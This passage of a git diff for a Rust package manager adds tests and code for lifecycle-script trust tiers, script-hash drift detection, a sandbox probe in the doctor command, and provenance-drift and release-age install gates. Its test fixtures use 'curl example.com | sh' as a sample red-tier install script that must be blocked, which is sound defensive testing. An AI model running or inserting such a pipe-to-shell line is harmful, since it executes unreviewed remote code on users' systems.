"drifted-pkg", "1.0.0", "node-gyp rebuild"); + // Wrong script_hash → BindingDrift. + std::fs::write( + dir.path().join("package.json"), + r#"{ + "name": "proj", + "lpm": { + "trustedDependencies": { + "drifted-pkg@1.0.0": { + "scriptHash": "sha256-deliberately-wrong-hash-to-force-drift" + } + } + } + }"#, + ) + .unwrap(); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let reason = evaluate_trust( + &pkg_dir, + "drifted-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert_eq!( + reason, + TrustReason::BindingDrift, + "triage must NOT auto-recover a drifted binding — even if the current \ + on-disk script classifies green, user intent was on a different body" + ); + assert!(!reason.is_trusted()); + } + + #[test] + fn p6_chunk2_scope_glob_wins_over_triage_promotion() { + // Scope match is a deliberate user configuration — ranks + // above the tier promotion for the same reason strict binding + // does. The user wrote `@myorg/*` into trustedScopes; any + // `@myorg/*` package returns `ScopedGlob`, not + // `GreenTierUnderTriage`, even when its script classifies green. + let dir = tempfile::tempdir().unwrap(); + std::fs::write( + dir.path().join("package.json"), + r#"{"lpm":{"scripts":{"trustedScopes":["@myorg/*"]}}}"#, + ) + .unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let pkg_dir = write_p6_pkg(&store, "@myorg/thing", "1.0.0", "node-gyp rebuild"); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let reason = evaluate_trust( + &pkg_dir, + "@myorg/thing", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert_eq!( + reason, + TrustReason::ScopedGlob, + "scope glob must win over green-tier promotion so the UX reflects \ + explicit user configuration" + ); + } + + #[test] + fn p6_chunk2_trust_reason_is_trusted_covers_all_trusted_variants() { + // Lock the `is_trusted()` set. If a new `TrustReason` lands + // later (e.g. Chunk 8 `AmberLlmApproval`), this test fails and + // forces an explicit decision about whether it counts as + // trusted. Preferable to a silent default that ships wrong. + assert!(TrustReason::StrictBinding.is_trusted()); + assert!(TrustReason::LegacyName.is_trusted()); + assert!(TrustReason::ScopedGlob.is_trusted()); + assert!(TrustReason::GreenTierUnderTriage.is_trusted()); + assert!(!TrustReason::BindingDrift.is_trusted()); + assert!(!TrustReason::Untrusted.is_trusted()); + } + + // ── Phase 46 P6 Chunk 3: all_scripted_packages_trusted triage ─── + // + // These lock the install-time auto-build predicate's side of the + // P6 contract. The predicate and `build::run` now both route + // through `evaluate_trust`, so any divergence between what gets + // triggered (predicate=true → build::run runs) and what actually + // builds (build::run's per-package filter) would be a P6 bug the + // plan explicitly calls out in §11: + // + // "under `"triage"`, a green-tier unbuilt package counts as + // trusted for auto-build-triggering purposes" + // + // The Chunk 1 tests already cover the deny/drift/scope/strict + // variants; the new cases below are specifically about the + // triage-green-auto-trust path through the predicate. + + #[test] + fn p6_chunk3_all_trusted_true_under_triage_green_without_binding() { + // The core Chunk 3 behavior: `lpm install` auto-build predicate + // returns `true` for a fresh green-only install under triage, + // even though no `trustedDependencies` entry exists. Pre-P6 + // this returned `false` and auto-build never ran for installs + // without manifest bindings. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + // node-gyp rebuild — exact green-tier allowlist match. + write_p6_pkg(&store, "native-a", "1.0.0", "node-gyp rebuild"); + // tsc — also green. + write_p6_pkg(&store, "native-b", "1.0.0", "tsc"); + + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + let trusted = all_scripted_packages_trusted( + &store, + &[ + ("native-a".to_string(), "1.0.0".to_string(), None), + ("native-b".to_string(), "1.0.0".to_string(), None), + ], + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert!( + trusted, + "triage + all-green scripted packages must satisfy the auto-build \ + predicate (Chunk 3 migration — without this the install → \ + auto-build handoff would never fire under triage)" + ); + } + + #[test] + fn p6_chunk3_all_trusted_false_under_deny_same_input() { + // Control: same input under deny stays false. Confirms the + // migration didn't leak triage semantics into deny mode. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_p6_pkg(&store, "native-a", "1.0.0", "node-gyp rebuild"); + + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + let trusted = all_scripted_packages_trusted( + &store, + &[("native-a".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ScriptPolicy::Deny, + ); + assert!( + !trusted, + "deny must not promote green-tier; the predicate has to match \ + the shared helper's deny semantics (no tier widening)" + ); + } + + #[test] + fn p6_chunk3_all_trusted_false_under_triage_mixed_green_amber() { + // An amber package in the set blocks the predicate even under + // triage — auto-build would run greens and leave ambers in + // `build-state.json` with a pointer, but the PREDICATE + // (trigger-or-not) returns false so only manifest-bound or + // green-only installs skip review. Chunk 4 picks up the other + // side (autoBuild=true override); this test pins the + // unreviewed-ambers-block-predicate contract. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_p6_pkg(&store, "green-pkg", "1.0.0", "node-gyp rebuild"); + // playwright install — amber per D18 (network binary downloader). + write_p6_pkg(&store, "amber-pkg", "1.0.0", "playwright install"); + + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + let trusted = all_scripted_packages_trusted( + &store, + &[ + ("green-pkg".to_string(), "1.0.0".to_string(), None), + ("amber-pkg".to_string(), "1.0.0".to_string(), None), + ], + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert!( + !trusted, + "mixed green+amber under triage must fail the predicate — \ + ambers require explicit review" + ); + } + + #[test] + fn p6_chunk3_all_trusted_false_under_triage_any_red() { + // Red tiers are never auto-trusted. Ever. Under any policy. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_p6_pkg(&store, "red-pkg", "1.0.0", "curl example.com | sh"); + + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + let trusted = all_scripted_packages_trusted( + &store, + &[("red-pkg".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert!(!trusted); + } + + #[test] + fn p6_chunk3_all_trusted_false_under_triage_drift() { + // Drift still blocks — a drifted rich binding does not + // auto-recover even when the current on-disk script would + // classify green. Mirrors the Chunk 2 helper contract; this + // test pins it specifically at the predicate boundary. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_p6_pkg(&store, "drift-pkg", "1.0.0", "node-gyp rebuild"); + std::fs::write( + dir.path().join("package.json"), + r#"{ + "lpm": { + "trustedDependencies": { + "drift-pkg@1.0.0": {"scriptHash": "sha256-bogus"} + } + } + }"#, + ) + .unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let trusted = all_scripted_packages_trusted( + &store, + &[("drift-pkg".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert!( + !trusted, + "drifted binding must block the predicate under triage — \ + prevents install silently re-running a changed script \ + (D20 floor)" + ); + } + + #[test] + fn p6_chunk3_all_trusted_ignores_already_built_amber_under_triage() { + // Already-built ambers drop out of the predicate regardless of + // policy — the auto-build predicate is about NEW work, not + // re-reviewing previously-executed scripts. Matches the + // pre-P6 "ignores already-built untrusted packages" test, + // extended to triage mode. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_p6_pkg(&store, "green-pkg", "1.0.0", "node-gyp rebuild"); + // Mark as already-built so the predicate ignores it. + let amber_dir = write_p6_pkg(&store, "amber-built", "1.0.0", "playwright install"); + std::fs::write(amber_dir.join(BUILD_MARKER), "").unwrap(); + + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + let trusted = all_scripted_packages_trusted( + &store, + &[ + ("green-pkg".to_string(), "1.0.0".to_string(), None), + ("amber-built".to_string(), "1.0.0".to_string(), None), + ], + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert!( + trusted, + "already-built ambers must NOT block the predicate — the predicate \ + is about newly-installed work" + ); + } + + #[test] + fn p6_chunk2_classify_package_worst_tier_reduces_worst_wins() { + // Aggregation contract: the helper uses the same worst-wins + // reducer `build_state.rs:418-421` uses so install-time and + // build-time consumers see the same tier. A red postinstall + // must dominate a green preinstall. + let scripts = HashMap::from([ + ("preinstall".into(), "node-gyp rebuild".into()), + ("postinstall".into(), "curl example.com | sh".into()), + ]); + assert_eq!(classify_package_worst_tier(&scripts), Some(StaticTier::Red)); + + // All-green stays green. + let scripts = HashMap::from([ + ("preinstall".into(), "node-gyp rebuild".into()), + ("postinstall".into(), "tsc".into()), + ]); + assert_eq!( + classify_package_worst_tier(&scripts), + Some(StaticTier::Green) + ); + + // Empty → None (caller short-circuits). + let empty = HashMap::new(); + assert_eq!(classify_package_worst_tier(&empty), None); + } } diff --git a/crates/lpm-cli/src/commands/config.rs b/crates/lpm-cli/src/commands/config.rs index 89976a80..ffc8e802 100644 --- a/crates/lpm-cli/src/commands/config.rs +++ b/crates/lpm-cli/src/commands/config.rs @@ -147,4 +147,36 @@ impl GlobalConfig { _ => None, } } + + /// Get a non-negative integer value. Accepts `toml::Value::Integer` + /// natively AND string-coerced values (the generic `lpm config set` + /// command serializes every value as a string — Finding A in + /// [`crate::save_config`]). Returns `None` for absent keys, negative + /// integers, or strings that don't parse as `u64`. + /// + /// This is a convenience reader for callers that don't need + /// file-pathed error surfacing. For strict config loaders, read the + /// file directly (see `release_age_config::read_global_min_age_from_file` + /// for the path-aware pattern). + /// + /// String coercion routes through + /// [`crate::release_age_config::parse_strict_u64_string`] so the + /// rule "no sign prefix" stays uniform across the CLI flag, the + /// global-TOML loader, and this convenience accessor. Without that + /// shared helper, `"+5"` would parse as `5` on this path while the + /// CLI flag rejects `+5h` — an inconsistency that would silently + /// let persistent config accept inputs the CLI rejects. + /// + /// Note: no production caller uses this today (the `release_age` + /// loader reads `~/.lpm/config.toml` with a path-aware fallible + /// helper instead). `#[allow(dead_code)]` is retained for the one + /// behavioural unit test; remove alongside if a caller lands. + #[allow(dead_code)] + pub fn get_u64(&self, key: &str) -> Option { + match self.table.get(key)? { + toml::Value::Integer(i) => u64::try_from(*i).ok(), + toml::Value::String(s) => crate::release_age_config::parse_strict_u64_string(s), + _ => None, + } + } } diff --git a/crates/lpm-cli/src/commands/deploy.rs b/crates/lpm-cli/src/commands/deploy.rs index cf83aa2c..40ed1a3e 100644 --- a/crates/lpm-cli/src/commands/deploy.rs +++ b/crates/lpm-cli/src/commands/deploy.rs @@ -726,6 +726,15 @@ pub async fn run( false, // auto_build — build is a separate concern Some(&target_set), None, // direct_versions_out: deploy does not finalize Phase 33 placeholders + None, // script_policy_override: `lpm deploy` does not expose policy flags + None, // min_release_age_override: deploy already bypasses via allow_new=true above + // drift-ignore: deploy captures an already-resolved tree; + // `allow_new=true` above bypasses cooldown but drift is an + // orthogonal gate per D16. Deploy inherits the same default + // "enforce" — the output dir carries whatever + // trustedDependencies the project defined, so legitimately- + // identical identities pass normally. + crate::provenance_fetch::DriftIgnorePolicy::default(), ) .await?; diff --git a/crates/lpm-cli/src/commands/dev.rs b/crates/lpm-cli/src/commands/dev.rs index 37ea5cb9..2d7aa569 100644 --- a/crates/lpm-cli/src/commands/dev.rs +++ b/crates/lpm-cli/src/commands/dev.rs @@ -769,17 +769,20 @@ async fn auto_install_if_stale( match crate::commands::install::run_with_options( client, project_dir, - false, // json_output - false, // offline - false, // force - false, // allow_new - None, // linker_override - false, // no_skills - false, // no_editor_setup - true, // no_security_summary - false, // auto_build - None, // target_set: dev is single-project - None, // direct_versions_out: dev does not finalize Phase 33 placeholders + false, // json_output + false, // offline + false, // force + false, // allow_new + None, // linker_override + false, // no_skills + false, // no_editor_setup + true, // no_security_summary + false, // auto_build + None, // target_set: dev is single-project + None, // direct_versions_out: dev does not finalize Phase 33 placeholders + None, // script_policy_override: `lpm dev` does not expose policy flags + None, // min_release_age_override: `lpm dev` uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: `lpm dev` enforces drift ) .await { diff --git a/crates/lpm-cli/src/commands/doctor.rs b/crates/lpm-cli/src/commands/doctor.rs index a97f102d..a2d28f8e 100644 --- a/crates/lpm-cli/src/commands/doctor.rs +++ b/crates/lpm-cli/src/commands/doctor.rs @@ -269,6 +269,19 @@ pub async fn run( checks.push(check); } + // === Phase 46 — Script policy + sandbox (Phase 46 close-out Chunk 4) === + // + // 18. Sandbox availability — probe the per-platform backend. + // 19. Script-policy scope boundary — project installs only in 46.0; + // globals ship with Phase 46.1. + // + // Placed after the global-installs block so the scope-boundary note + // sits next to the global-installs rows it contextualizes. See the + // function doc for per-check classification rules. + for check in check_script_policy_surface() { + checks.push(check); + } + // === Auto-fix (runs before output so JSON includes fixes_applied) === if fix { if !json_output { @@ -1076,17 +1089,20 @@ async fn run_doctor_install(client: &RegistryClient, project_dir: &Path) -> Resu crate::commands::install::run_with_options( client, project_dir, - false, // json_output - false, // offline - false, // force - false, // allow_new - None, // linker_override - false, // no_skills - false, // no_editor_setup - true, // no_security_summary - false, // auto_build - None, // target_set: doctor is single-project - None, // direct_versions_out: doctor does not finalize Phase 33 placeholders + false, // json_output + false, // offline + false, // force + false, // allow_new + None, // linker_override + false, // no_skills + false, // no_editor_setup + true, // no_security_summary + false, // auto_build + None, // target_set: doctor is single-project + None, // direct_versions_out: doctor does not finalize Phase 33 placeholders + None, // script_policy_override: `lpm doctor` does not expose policy flags + None, // min_release_age_override: `lpm doctor` uses the package.json/global/default chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: `lpm doctor` enforces drift like a normal install ) .await } @@ -1618,6 +1634,144 @@ fn check_install_root_consistency( ) } +/// Phase 46 close-out Chunk 4: lifecycle-script policy + sandbox +/// surface checks. +/// +/// Entries: +/// +/// 18. **Sandbox availability probe.** Does the current platform +/// have a functional [`lpm_sandbox`] backend for +/// [`SandboxMode::Enforce`]? Constructs a synthetic spec and +/// calls [`lpm_sandbox::new_for_platform`], then classifies +/// the outcome: +/// - **macOS / Linux with a recent kernel** → `pass` — Seatbelt +/// or landlock is available; triage auto-execution and +/// `lpm build` under every policy can contain lifecycle +/// scripts. +/// - **Windows** → `warn` with the §17.4 Phase 46.1 pointer. +/// Scripts still run today (the `--unsafe-full-env +/// --no-sandbox` escape hatch is the 46.0 interim), but +/// without containment — the user needs to know that +/// `script-policy = "triage"` or `allow` is effectively +/// opting out of the sandbox floor on Windows until 46.1. +/// - **Linux with an old kernel** → `warn` with the landlock +/// kernel-version requirement. Same containment gap as +/// Windows for the specific versions. +/// +/// 19. **Scope-boundary note.** The 46.0 script-policy surface +/// covers **project installs only**. Global installs +/// (`lpm install -g`) use a separate Phase 37 trust store at +/// `~/.lpm/global/trusted-dependencies.json`; 46.0 does not +/// apply the sandbox probe / tier classification / version +/// diff to that path. Phase 46.1 closes the parity gap per +/// §17 + D19. The note only fires when the user has at least +/// one global install (otherwise the scope limit is +/// irrelevant to them and would be noise). +/// +/// Placed AFTER the global-installs block so the scope-boundary +/// note has the same firing condition (`~/.lpm/global/` exists +/// with content) as the related Phase 37 checks it contextualizes. +fn check_script_policy_surface() -> Vec { + let mut out = Vec::new(); + + // 18. Sandbox availability. + out.push(probe_sandbox_backend()); + + // 19. Scope-boundary note — only when globals are present. + if let Ok(root) = lpm_common::LpmRoot::from_env() + && let Some(check) = scope_boundary_note_if_globals_present(&root) + { + out.push(check); + } + + out +} + +/// Emit the scope-boundary note iff the global manifest carries at +/// least one active install. Split out from [`check_script_policy_surface`] +/// so a unit test can feed a synthetic [`LpmRoot`] and assert the +/// firing condition without touching the real `~/.lpm/global/`. +fn scope_boundary_note_if_globals_present(root: &lpm_common::LpmRoot) -> Option { + let manifest_has_installs = lpm_global::read_for(root) + .map(|m| !m.packages.is_empty()) + .unwrap_or(false); + if manifest_has_installs { + Some(Check::pass( + "Script policy scope", + "project installs only — global installs use a separate trust store at \ + ~/.lpm/global/trusted-dependencies.json; Phase 46.1 extends the tiered \ + gate + sandbox containment to globals", + )) + } else { + None + } +} + +/// Probe the sandbox backend for `SandboxMode::Enforce` on this +/// platform. Runs in-memory (macOS) or via a single benign +/// landlock ruleset-create syscall (Linux); no persistent I/O. +fn probe_sandbox_backend() -> Check { + use lpm_sandbox::{SandboxError, SandboxMode, SandboxSpec, new_for_platform}; + + let tmpdir = std::env::temp_dir(); + let home = dirs::home_dir().unwrap_or_else(|| tmpdir.clone()); + let spec = SandboxSpec { + // `validate_spec` requires absolute paths + non-empty + // identity. Nothing reads from these; the probe only + // checks whether the backend can be constructed for + // this platform + mode. + package_dir: tmpdir.join("lpm-doctor-sandbox-probe"), + project_dir: tmpdir.join("lpm-doctor-sandbox-probe"), + package_name: "lpm-doctor-probe".into(), + package_version: "0.0.0".into(), + store_root: home.join(".lpm").join("store"), + home_dir: home.clone(), + tmpdir: tmpdir.clone(), + extra_write_dirs: Vec::new(), + }; + + match new_for_platform(spec, SandboxMode::Enforce) { + Ok(sb) => Check::pass( + "Sandbox", + &format!( + "{} available on {} — lifecycle scripts run under Enforce mode", + sb.backend_name(), + std::env::consts::OS, + ), + ), + Err(SandboxError::UnsupportedPlatform { + platform, + remediation, + }) => Check::warn( + "Sandbox", + &format!( + "unavailable on {platform} — {remediation}. Lifecycle scripts under \ + `script-policy = \"triage\"` or `\"allow\"`, and any `lpm build` \ + invocation, run without filesystem containment on this platform \ + until Phase 46.1." + ), + ), + Err(SandboxError::KernelTooOld { + detected, + required, + remediation, + }) => Check::warn( + "Sandbox", + &format!( + "Linux kernel {detected} is below the landlock requirement \ + ({required}+). {remediation}" + ), + ), + Err(e) => Check::fail( + "Sandbox", + &format!( + "probe failed: {e}. This is unexpected — the synthetic spec is \ + well-formed; file an issue with `lpm doctor --json` output." + ), + ), + } +} + #[cfg(test)] mod tests { use super::*; @@ -1643,6 +1797,165 @@ mod tests { assert!(matches!(c.severity, Severity::Warn)); } + // ── Phase 46 close-out Chunk 4: sandbox probe + scope-boundary ── + + /// Universal smoke test: the sandbox probe must always return a + /// `Check` on every platform the CI matrix + local dev runs on + /// (macOS, Linux, Windows). Pins the contract that the probe + /// never panics regardless of backend availability — a fail + /// result on a misbehaving platform is still a Check, not a + /// crash. The per-platform severity assertions below narrow + /// this further; this test is the "always produces output" + /// floor. + #[test] + fn sandbox_probe_always_returns_a_check() { + let c = probe_sandbox_backend(); + assert_eq!(c.name, "Sandbox"); + // Severity ∈ {Pass, Warn, Fail}. All three are acceptable + // depending on platform + kernel; what matters is that the + // probe didn't panic and produced a named Check. + assert!( + !c.detail.is_empty(), + "probe must emit a non-empty detail line" + ); + } + + /// On macOS, the probe must return Pass with detail naming + /// `seatbelt`. CI's macOS runners have Seatbelt available by + /// construction; developer machines do too. + #[cfg(target_os = "macos")] + #[test] + fn sandbox_probe_on_macos_passes_with_seatbelt_backend() { + let c = probe_sandbox_backend(); + assert!( + matches!(c.severity, Severity::Pass), + "macOS sandbox probe should pass — expected Seatbelt available. detail={}", + c.detail + ); + assert!( + c.detail.contains("seatbelt"), + "detail must name the backend so users can debug. detail={}", + c.detail + ); + } + + /// On Linux, the probe returns Pass (kernel >= 5.13 with + /// landlock) OR Warn (older kernel). Either outcome is a + /// meaningful Check — but never a Fail, because an unsupported + /// kernel on a supported platform is a warning, not a failure + /// per the `KernelTooOld` arm. + #[cfg(target_os = "linux")] + #[test] + fn sandbox_probe_on_linux_passes_or_warns_never_fails() { + let c = probe_sandbox_backend(); + assert!( + !matches!(c.severity, Severity::Fail), + "Linux sandbox probe must not Fail — Pass (landlock) or \ + Warn (kernel too old) are the only acceptable outcomes. detail={}", + c.detail + ); + } + + /// On Windows, the probe must Warn with the Phase 46.1 + /// pointer. §17.4 commits to this user-facing message: users + /// need to know that triage + sandbox containment is deferred + /// on their platform and the 46.0 interim is opt-out via + /// `--unsafe-full-env --no-sandbox`. + #[cfg(target_os = "windows")] + #[test] + fn sandbox_probe_on_windows_warns_with_phase_46_1_pointer() { + let c = probe_sandbox_backend(); + assert!( + matches!(c.severity, Severity::Warn), + "Windows sandbox probe must Warn (UnsupportedPlatform). detail={}", + c.detail + ); + assert!( + c.detail.contains("46.1"), + "Windows warn message must point at Phase 46.1 per §17.4. detail={}", + c.detail + ); + } + + /// Scope-boundary note: NOT emitted when the global manifest + /// has no active installs (fresh machine / never used + /// `lpm install -g`). Keeps the doctor output clean for the + /// project-install-only users — the 46.0 scope boundary is + /// irrelevant to them until they opt into globals. + #[test] + fn scope_boundary_note_is_absent_when_no_global_installs() { + let tmp = tempfile::tempdir().unwrap(); + let root = lpm_common::LpmRoot::from_dir(tmp.path()); + // No `global/manifest.toml` present — `lpm_global::read_for` + // returns default (empty). + let note = scope_boundary_note_if_globals_present(&root); + assert!( + note.is_none(), + "scope-boundary note must stay silent on fresh machines" + ); + } + + /// Scope-boundary note: IS emitted when the global manifest + /// has at least one active install. Text must name the 46.1 + /// closure for the scope gap so users know when the parity + /// ships. + #[test] + fn scope_boundary_note_fires_when_global_installs_exist() { + let tmp = tempfile::tempdir().unwrap(); + let root = lpm_common::LpmRoot::from_dir(tmp.path()); + // Seed a minimal manifest.toml with one active install. + // Matches the on-disk shape `lpm_global::write_for` produces. + let global_root = root.global_root(); + std::fs::create_dir_all(&global_root).unwrap(); + std::fs::write( + global_root.join("manifest.toml"), + r#"schema_version = 1 + +[packages.some-pkg] +saved_spec = "^1" +resolved = "1.0.0" +integrity = "sha512-fixture" +source = "upstream-npm" +installed_at = "2026-04-22T00:00:00Z" +root = "installs/some-pkg@1.0.0" +commands = [] +"#, + ) + .unwrap(); + + let note = scope_boundary_note_if_globals_present(&root); + let note = note.expect("scope-boundary note must fire when globals exist"); + assert_eq!(note.name, "Script policy scope"); + assert!(matches!(note.severity, Severity::Pass)); + assert!( + note.detail.contains("46.1"), + "note must name the 46.1 parity closure. detail={}", + note.detail + ); + assert!( + note.detail.contains("project installs only"), + "note must lead with the scope statement. detail={}", + note.detail + ); + } + + /// `check_script_policy_surface` always emits the sandbox probe + /// (never conditional) and appends the scope-boundary note + /// conditionally. This test pins the aggregator's contract + /// against regression — a future refactor that accidentally + /// gated the sandbox probe behind a globals-exist check would + /// be caught here. + #[test] + fn check_script_policy_surface_always_includes_sandbox_probe() { + let out = check_script_policy_surface(); + assert!(!out.is_empty(), "must emit at least the sandbox probe"); + assert_eq!( + out[0].name, "Sandbox", + "sandbox probe must be the first entry so it renders \ + next to the other infrastructure checks" + ); + } + #[test] fn warning_count_with_mixed_checks() { let checks = [ diff --git a/crates/lpm-cli/src/commands/install.rs b/crates/lpm-cli/src/commands/install.rs index 344e2dce..5ff00c78 100644 --- a/crates/lpm-cli/src/commands/install.rs +++ b/crates/lpm-cli/src/commands/install.rs @@ -830,6 +830,33 @@ pub async fn run_with_options( // when the same name appears at different versions). Non-Phase-33 // callers pass `None`. direct_versions_out: Option<&mut HashMap>, + // Phase 46 P2 Chunk 5: CLI-side `--policy` / `--yolo` / `--triage` + // override, already collapsed to at most one value by + // [`crate::script_policy_config::collapse_policy_flags`]. `None` + // means no CLI flag was passed on this invocation and the + // resolver should fall through to the project config → + // `~/.lpm/config.toml` → default-deny precedence chain. + // + // Only consumed in P2 for the triage-mode install summary line + // (branches at the two `show_install_build_hint` call sites). No + // execution semantics are changed — tier-aware auto-run is P6, + // gated on the P5 sandbox per D20. + script_policy_override: Option, + // Phase 46 P3: already-parsed `--min-release-age=` override. `Some` + // short-circuits the package.json / global / default chain in + // [`crate::release_age_config::ReleaseAgeResolver::resolve`]; `None` + // walks the chain normally. Clap parses the duration string via + // [`crate::release_age_config::parse_duration`] before this fn runs, so + // validation errors never make it this far. + min_release_age_override: Option, + // Phase 46 P4 Chunk 4: canonicalized `--ignore-provenance-drift[-all]` + // override (see [`crate::provenance_fetch::DriftIgnorePolicy`] for + // the three variants). `EnforceAll` is the default; the drift gate + // consults `.ignores_all()` for a short-circuit and + // `.ignores_name(...)` per-package. `--allow-new` does NOT compose + // into this policy (D16): drift and cooldown are orthogonal, so + // their override flags stay separate. + drift_ignore_policy: crate::provenance_fetch::DriftIgnorePolicy, ) -> Result<(), LpmError> { if !json_output { output::print_header(); @@ -893,6 +920,27 @@ pub async fn run_with_options( output::info(&format!("Installing dependencies for {}", pkg_name.bold())); } + // Phase 46 P1: surface silent additions to `trustedDependencies` + // BEFORE the install pipeline does any work (§4.2 of the plan). + // A "bump dep" PR that quietly grew the trust list would otherwise + // slip past local review; this diff is the local-reviewer safety + // net. Emission is suppressed in --json mode (no stable JSON + // schema for this surface yet — callers will learn the additions + // via `lpm trust diff` once that lands in chunk C). + if !json_output { + let current_snapshot = crate::trust_snapshot::TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&lpm_workspace::TrustedDependencies::Legacy(Vec::new())), + ); + let previous_snapshot = crate::trust_snapshot::read_snapshot(project_dir); + let additions = current_snapshot.diff_additions(previous_snapshot.as_ref()); + if let Some(notice) = crate::trust_snapshot::format_new_bindings_notice(&additions) { + output::info(¬ice); + } + } + // Phase 43 — shared gate counters. Populated by the lockfile // fast path (Change 1) when a stored URL fails the scheme/shape/ // origin gate, and (in follow-up commits) by the stale-URL retry @@ -1237,7 +1285,11 @@ pub async fn run_with_options( // `overrides_changed` branch above, returning a clear // "re-resolve online" error. - // Go directly to link step (skip resolution and download) + // Go directly to link step (skip resolution and download). + // Phase 46 P2 Chunk 5: forward the already-resolved + // script-policy override so the link-and-finish path shows + // the same triage summary line the fresh-resolution path + // would. return run_link_and_finish( client, project_dir, @@ -1252,6 +1304,7 @@ pub async fn run_with_options( linker_mode, force, &workspace_member_deps, + script_policy_override, ) .await; } @@ -1601,8 +1654,21 @@ pub async fn run_with_options( // Only checked during fresh resolution (not lockfile fast path) because metadata // was already fetched and cached by the resolver — re-fetching hits the 5-min TTL cache. if !allow_new && !used_lockfile { - let policy = - lpm_security::SecurityPolicy::from_package_json(&project_dir.join("package.json")); + // Phase 46 P3: resolve the effective cooldown window through the + // full precedence chain (CLI `--min-release-age` > package.json > + // `~/.lpm/config.toml` > 24h default). A malformed global config + // surfaces a file-pathed error here — that's the one new fail mode + // P3 introduces relative to pre-P3 behaviour, and it's + // intentional: silent fall-through on a broken global file is + // exactly the bug the path-aware loader prevents. + let effective_min_age_secs = crate::release_age_config::ReleaseAgeResolver::resolve( + project_dir, + min_release_age_override, + )?; + let policy = lpm_security::SecurityPolicy::with_resolved_min_age( + &project_dir.join("package.json"), + effective_min_age_secs, + ); if policy.minimum_release_age_secs > 0 { let mut too_new = Vec::new(); for p in &packages { @@ -1651,14 +1717,20 @@ pub async fn run_with_options( name, version, hours, minutes ); } + // Phase 46 P3: three override paths, ordered narrowest + // to broadest persistence: + // (1) --min-release-age=0 per-install, numeric + // (2) --allow-new per-install, blanket bypass + // (3) package.json persistent, repo-wide eprintln!( - " Use {} to install anyway, or add {} to package.json to disable.", + " To override: {} or {} (this install), or set {} in package.json.", + "--min-release-age=0".bold(), "--allow-new".bold(), "\"lpm\": { \"minimumReleaseAge\": 0 }".dimmed(), ); } return Err(LpmError::Registry(format!( - "{} package(s) published too recently (minimumReleaseAge={}s). Use --allow-new to override.", + "{} package(s) published too recently (minimumReleaseAge={}s). Use --allow-new or --min-release-age= to override.", too_new.len(), policy.minimum_release_age_secs, ))); @@ -1666,6 +1738,240 @@ pub async fn run_with_options( } } + // Phase 46 P4 Chunk 3: provenance-drift gate (§7.2). + // + // For every resolved package with a prior approval that captured + // `provenance_at_approval`, fetch the candidate version's + // Sigstore attestation and compare identities. Block on + // "provenance dropped" (axios signal) or "identity changed" + // (publisher rotation without explicit re-approval). + // + // **Gating:** fires only on fresh resolution — lockfile fast-path + // is skipped by design (the lockfile locks integrity, not + // attestation identity; a future phase may tighten). `--allow-new` + // does NOT bypass this gate per D16 — provenance and cooldown + // are orthogonal signals, and the cooldown override doesn't + // imply acknowledgement of publisher drift. Chunk 4 wires the + // `--ignore-provenance-drift[-all]` override below. + // + // **Performance:** sequential fetches per package. The fetcher's + // 7-day cache under `cache/metadata/attestations/` makes repeat + // installs O(1) per package. A concurrent variant can land in a + // later phase if sequential round-trips on first install prove + // too costly in practice. + // + // **P4 Chunk 4 override short-circuit:** `--ignore-provenance-drift-all` + // skips the entire gate (no trusted-dependencies read, no + // per-package fetch). `--ignore-provenance-drift ` skips + // the per-package fetch for the named entries. Both paths emit a + // concise advisory to stderr so the waived drift is auditable + // (users explicitly asked for the opt-out; silent skip would + // hide that they're accepting a non-zero-risk identity). + if !used_lockfile && drift_ignore_policy.ignores_all() && !json_output { + output::warn( + "provenance-drift check waived for this install by --ignore-provenance-drift-all", + ); + } + if !used_lockfile && !drift_ignore_policy.ignores_all() { + let trusted = + lpm_security::SecurityPolicy::from_package_json(&project_dir.join("package.json")) + .trusted_dependencies; + + // Short-circuit the whole gate when there's no rich-form + // approval to compare against. Pre-P4 projects with only + // Legacy approvals (or no `trustedDependencies` at all) skip + // the gate entirely — zero network cost. + let has_rich_approvals = matches!( + &trusted, + lpm_workspace::TrustedDependencies::Rich(map) if !map.is_empty() + ); + + if has_rich_approvals { + let lpm_root = 